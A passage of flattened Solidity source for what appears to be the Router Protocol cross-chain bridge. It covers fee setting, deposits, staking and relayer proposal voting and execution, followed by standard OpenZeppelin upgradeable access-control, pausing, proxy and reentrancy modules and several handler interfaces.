@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amount the amount of ERC20 tokens to withdraw.
*/
function adminWithdrawFees(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amount
) public virtual nonReentrant onlyRole(EMERGENCY_ROLE) {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdrawFees(tokenAddress, recipient, amount);
emit AdminWithdraw(handlerAddress, tokenAddress, recipient, amount);
}
/**
@notice Used to set feeStatus
@notice Only callable by admin.
*/
function adminSetFeeStatus(bytes32 resourceID, bool status) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
address handlerAddress = _resourceIDToHandlerAddress[resourceID];
IERCHandler handler = IERCHandler(handlerAddress);
handler.toggleFeeStatus(status);
}
// Fee Function Starts
/**
@notice Used to set fee
@notice Only callable by feeSetter.
*/
function setBridgeFee(
bytes32 resourceID,
uint8 destinationChainID,
address feeTokenAddress,
uint256 transferFee,
uint256 exchangeFee,
bool accepted
) public virtual onlyRole(FEE_SETTER_ROLE) {
address handlerAddress = _resourceIDToHandlerAddress[resourceID];
IERCHandler handler = IERCHandler(handlerAddress);
require(handler.getFeeStatus(), "fee is not enabled");
handler.setBridgeFee(destinationChainID, feeTokenAddress, transferFee, exchangeFee, accepted);
}
function getBridgeFee(
bytes32 resourceID,
uint8 destChainID,
address feeTokenAddress
) public view returns (uint256, uint256) {
address handlerAddress = _resourceIDToHandlerAddress[resourceID];
IERCHandler handler = IERCHandler(handlerAddress);
return handler.getBridgeFee(destChainID, feeTokenAddress);
}
// Fee Function Ends
// Deposit Function Starts
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data,
uint256[] memory distribution,
uint256[] memory flags,
address[] memory path,
address feeTokenAddress
) public virtual nonReentrant whenNotPaused isWhitelisted {
_deposit(destinationChainID, resourceID, data, distribution, flags, path, feeTokenAddress);
}
function depositETH(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data,
uint256[] memory distribution,
uint256[] memory flags,
address[] memory path,
address feeTokenAddress
) public payable virtual nonReentrant whenNotPaused isWhitelisted {
IERCHandler ercHandler = IERCHandler(_resourceIDToHandlerAddress[resourceID]);
require(address(ercHandler) != address(0), "resourceID not mapped to handler");
require(msg.value > 0, "depositETH: No native assets transferred");
address weth = ercHandler._WETH();
IWETH(weth).deposit{ value: msg.value }();
require(IWETH(weth).transfer(msg.sender, msg.value));
_deposit(destinationChainID, resourceID, data, distribution, flags, path, feeTokenAddress);
}
function _deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data,
uint256[] memory distribution,
uint256[] memory flags,
address[] memory path,
address feeTokenAddress
) private {
IDepositExecute.SwapInfo memory swapDetails = unpackDepositData(data);
swapDetails.depositer = msg.sender;
swapDetails.distribution = distribution;
swapDetails.flags = flags;
swapDetails.path = path;
swapDetails.feeTokenAddress = feeTokenAddress;
swapDetails.handler = _resourceIDToHandlerAddress[resourceID];
require(swapDetails.handler != address(0), "resourceID not mapped to handler");
swapDetails.depositNonce = ++_depositCounts[destinationChainID];
IDepositExecute depositHandler = IDepositExecute(swapDetails.handler);
depositHandler.deposit(resourceID, destinationChainID, swapDetails.depositNonce, swapDetails);
emit Deposit(destinationChainID, resourceID, swapDetails.depositNonce);
}
function unpackDepositData(bytes calldata data)
internal
pure
returns (IDepositExecute.SwapInfo memory depositData)
{
IDepositExecute.SwapInfo memory swapDetails;
uint256 isDestNative;
(
swapDetails.srcTokenAmount,
swapDetails.srcStableTokenAmount,
swapDetails.destStableTokenAmount,
swapDetails.destTokenAmount,
isDestNative,
swapDetails.lenRecipientAddress,
swapDetails.lenSrcTokenAddress,
swapDetails.lenDestTokenAddress
) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256));
swapDetails.isDestNative = isDestNative == 0 ? false : true;
swapDetails.index = 256; // 32 * 6 -> 8
bytes memory recipient = bytes(data[swapDetails.index:swapDetails.index + swapDetails.lenRecipientAddress]);
swapDetails.index = swapDetails.index + swapDetails.lenRecipientAddress;
bytes memory srcToken = bytes(data[swapDetails.index:swapDetails.index + swapDetails.lenSrcTokenAddress]);
swapDetails.index = swapDetails.index + swapDetails.lenSrcTokenAddress;
bytes memory destStableToken = bytes(
data[swapDetails.index:swapDetails.index + swapDetails.lenDestTokenAddress]
);
swapDetails.index = swapDetails.index + swapDetails.lenDestTokenAddress;
bytes memory destToken = bytes(data[swapDetails.index:swapDetails.index + swapDetails.lenDestTokenAddress]);
bytes20 srcTokenAddress;
bytes20 destStableTokenAddress;
bytes20 destTokenAddress;
bytes20 recipientAddress;
assembly {
srcTokenAddress := mload(add(srcToken, 0x20))
destStableTokenAddress := mload(add(destStableToken, 0x20))
destTokenAddress := mload(add(destToken, 0x20))
recipientAddress := mload(add(recipient, 0x20))
}
swapDetails.srcTokenAddress = srcTokenAddress;
swapDetails.destStableTokenAddress = address(destStableTokenAddress);
swapDetails.destTokenAddress = destTokenAddress;
swapDetails.recipient = address(recipientAddress);
return swapDetails;
}
// Deposit Function Ends
/**
@notice Allows staking into liquidity pools.
@notice Only callable when Bridge is not paused.
@param handler handler address
@param tokenAddress Asset which needs to be staked.
@param amount Amount that needs to be staked.
@notice Emits {Stake} event.
*/
function stake(
address handler,
address tokenAddress,
uint256 amount
) public virtual whenNotPaused {
ILiquidityPool depositHandler = ILiquidityPool(handler);
depositHandler.stake(msg.sender, tokenAddress, amount);
emit Stake(msg.sender, amount, tokenAddress);
}
/**
@notice Allows staking ETH into liquidity pools.
@notice Only callable when Bridge is not paused.
@param handler handler address
@notice Emits {Stake} event.
*/
function stakeETH(
address handler
) public payable virtual nonReentrant whenNotPaused {
ILiquidityPool depositHandler = ILiquidityPool(handler);
IERCHandler ercHandler = IERCHandler(handler);
address WETH = ercHandler._WETH();
uint256 amount = msg.value;
require(amount > 0, "stakeETH: insufficient eth provided");
IWETH(WETH).deposit{ value: amount }();
assert(IWETH(WETH).transfer(handler, amount));
depositHandler.stakeETH(msg.sender, WETH, amount);
emit Stake(msg.sender, amount, WETH);
}
/**
@notice Allows unstaking from liquidity pools.
@notice Only callable when Bridge is not paused.
@param handler handler address
@param tokenAddress Asset which needs to be unstaked.
@param amount Amount that needs to be unstaked.
@notice Emits {Unstake} event.
*/
function unstake(
address handler,
address tokenAddress,
uint256 amount
) public virtual whenNotPaused {
ILiquidityPool depositHandler = ILiquidityPool(handler);
depositHandler.unstake(msg.sender, tokenAddress, amount);
emit Unstake(msg.sender, amount, tokenAddress);
}
/**
@notice Allows unstaking ETH from liquidity pools.
@notice Only callable when Bridge is not paused.
@param handler handler address
@param amount Amount that needs to be unstaked.
@notice Emits {Unstake} event.
*/
function unstakeETH(
address handler,
uint256 amount
) public virtual nonReentrant whenNotPaused {
ILiquidityPool depositHandler = ILiquidityPool(handler);
IERCHandler ercHandler = IERCHandler(handler);
address WETH = ercHandler._WETH();
depositHandler.unstakeETH(msg.sender, WETH, amount);
emit Unstake(msg.sender, amount, WETH);
}
// Stating/UnStaking Function Ends
// Voting Function starts
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) public view virtual returns (IVoterUpgradeable.issueStruct memory status) {
bytes32 proposalHash = keccak256(abi.encodePacked(originChainID, depositNonce, dataHash));
return _voter.fetchIssueMap(_proposals[proposalHash]);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) public virtual isResourceID(resourceID) onlyRole(RELAYER_ROLE) whenNotPaused {
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
if (_proposals[proposalHash] == 0) {
uint256 id = _voter.createProposal(block.number + _expiry, _quorum);
_proposals[proposalHash] = id;
emit ProposalEvent(chainID, depositNonce, IVoterUpgradeable.ProposalStatus.Active, dataHash);
} else if (_voter.fetchIsExpired(_proposals[proposalHash])) {
_voter.setStatus(_proposals[proposalHash]);
emit ProposalEvent(chainID, depositNonce, _voter.getStatus(_proposals[proposalHash]), dataHash);
return;
}
if (_voter.getStatus(_proposals[proposalHash]) != IVoterUpgradeable.ProposalStatus.Cancelled) {
_voter.vote(_proposals[proposalHash], 1, msg.sender);
emit ProposalVote(chainID, depositNonce, _voter.getStatus(_proposals[proposalHash]), dataHash);
if (_voter.getStatus(_proposals[proposalHash]) == IVoterUpgradeable.ProposalStatus.Passed) {
emit ProposalEvent(chainID, depositNonce, _voter.getStatus(_proposals[proposalHash]), dataHash);
}
}
}
/**
@notice Cancels a deposit proposal.
@notice Only callable by admin when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyRole(DEFAULT_ADMIN_ROLE) whenNotPaused{
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
IVoterUpgradeable.ProposalStatus currentStatus = _voter.getStatus(_proposals[proposalHash]);
require(currentStatus == IVoterUpgradeable.ProposalStatus.Cancelled, "Proposal must be cancelled");
delete _proposals[proposalHash];
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID,
uint256[] memory distribution,
uint256[] memory flags,
address[] memory path
) public virtual onlyRole(RELAYER_ROLE) whenNotPaused {
address settlementToken;
IDepositExecute.SwapInfo memory swapDetails = unpackDepositData(data);
swapDetails.distribution = distribution;
swapDetails.flags = flags;
swapDetails.path = path;
swapDetails.index = chainID;
swapDetails.depositNonce = depositNonce;
bytes32 dataHash = keccak256(abi.encodePacked(_resourceIDToHandlerAddress[resourceID], data));
bytes32 proposalHash = keccak256(abi.encodePacked(chainID, depositNonce, dataHash));
IVoterUpgradeable.ProposalStatus currentStatus = _voter.getStatus(_proposals[proposalHash]);
require(currentStatus == IVoterUpgradeable.ProposalStatus.Passed, "Proposal must have Passed status");
_voter.executeProposal(_proposals[proposalHash]);
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[resourceID]);
(settlementToken, swapDetails.returnAmount) = depositHandler.executeProposal(swapDetails, resourceID);
emit Settlement(
chainID,
depositNonce,
settlementToken,
swapDetails.returnAmount,
IVoterUpgradeable.ProposalStatus.Executed
);
emit ProposalEvent(chainID, depositNonce, IVoterUpgradeable.ProposalStatus.Executed, dataHash);
}
// Voting Function ends
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author Router Protocol.
*/
interface IVoterUpgradeable {
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct issueStruct {
ProposalStatus status;
uint256 startBlock;
uint256 endBlock;
uint64 quorum;
uint256 maxVotes;
uint8 resultOption;
}
function Voted(uint256, address) external view returns (bool);
function mint(address) external;
function burn(address account) external;
function balanceOf(address) external view returns (uint256);
function fetchIssueMap(uint256 _issue) external view returns (issueStruct memory issue);
function fetchIsExpired(uint256 _issue) external view returns (bool status);
function createProposal(uint256 endBlock, uint64 quorum)
external
returns (uint256 id);
function setStatus(uint256 issueId) external returns (bool success);
function getStatus(uint256 issueId) external view returns (ProposalStatus status);
function vote(
uint256 issueId,
uint8 option,
address relayer
)
external
returns (bool success);
function executeProposal(uint256 issueId) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author Router Protocol.
*/
interface IERC20Upgradeable {
function transfer( address, uint256) external;
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author Router Protocol.
*/
interface IDepositExecute {
struct SwapInfo {
address feeTokenAddress;
uint64 depositNonce;
uint256 index;
uint256 returnAmount;
address recipient;
address stableTokenAddress;
address handler;
uint256 srcTokenAmount;
uint256 srcStableTokenAmount;
uint256 destStableTokenAmount;
uint256 destTokenAmount;
uint256 lenRecipientAddress;
uint256 lenSrcTokenAddress;
uint256 lenDestTokenAddress;
bytes20 srcTokenAddress;
address srcStableTokenAddress;
bytes20 destTokenAddress;
address destStableTokenAddress;
uint256[] distribution;
uint256[] flags;
address[] path;
address depositer;
bool isDestNative;
}
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param swapDetails Swap details
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
SwapInfo calldata swapDetails
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
*/
function executeProposal(SwapInfo calldata swapDetails, bytes32 resourceID) external returns (address, uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author Router Protocol.
*/
interface ILiquidityPool {
/**
@notice Staking should be done by using bridge contract.
@param depositor stakes liquidity in the pool .
@param tokenAddress staking token for which liquidity needs to be added.
@param amount Amount that needs to be staked.
*/
function stake(
address depositor,
address tokenAddress,
uint256 amount
) external;
/**
@notice Staking should be done by using bridge contract.
@param depositor stakes liquidity in the pool .
@param tokenAddress staking token for which liquidity needs to be added.
@param amount Amount that needs to be staked.
*/
function stakeETH(
address depositor,
address tokenAddress,
uint256 amount
) external;
/**
@notice Staking should be done by using bridge contract.
@param unstaker removes liquidity from the pool.
@param tokenAddress staking token of which liquidity needs to be removed.
@param amount Amount that needs to be unstaked.
*/
function unstake(
address unstaker,
address tokenAddress,
uint256 amount
) external;
/**
@notice Staking should be done by using bridge contract.
@param unstaker removes liquidity from the pool.
@param tokenAddress staking token of which liquidity needs to be removed.
@param amount Amount that needs to be unstaked.
*/
function unstakeETH(
address unstaker,
address tokenAddress,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author Router Protocol.
*/
interface IERCHandler {
function withdrawFees(
address tokenAddress,
address recipient,
uint256 amount
) external;
function getBridgeFee(uint8 destinationChainID, address feeTokenAddress) external view returns (uint256, uint256);
function setBridgeFee(
uint8 destinationChainID,
address feeTokenAddress,
uint256 transferFee,
uint256 exchangeFee,
bool accepted
) external;
function toggleFeeStatus(bool status) external;
function getFeeStatus() external view returns (bool);
function _ETH() external view returns (address);
function _WETH() external view returns (address);
function resourceIDToTokenContractAddress(bytes32 resourceID) external view returns (address);
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
// function setTokenDecimals(address tokenAddress, uint8 destinationChainID, uint8 decimals) external;
/**
@notice Sets oneSplitAddress for the handler
@param contractAddress Address of oneSplit contract
*/
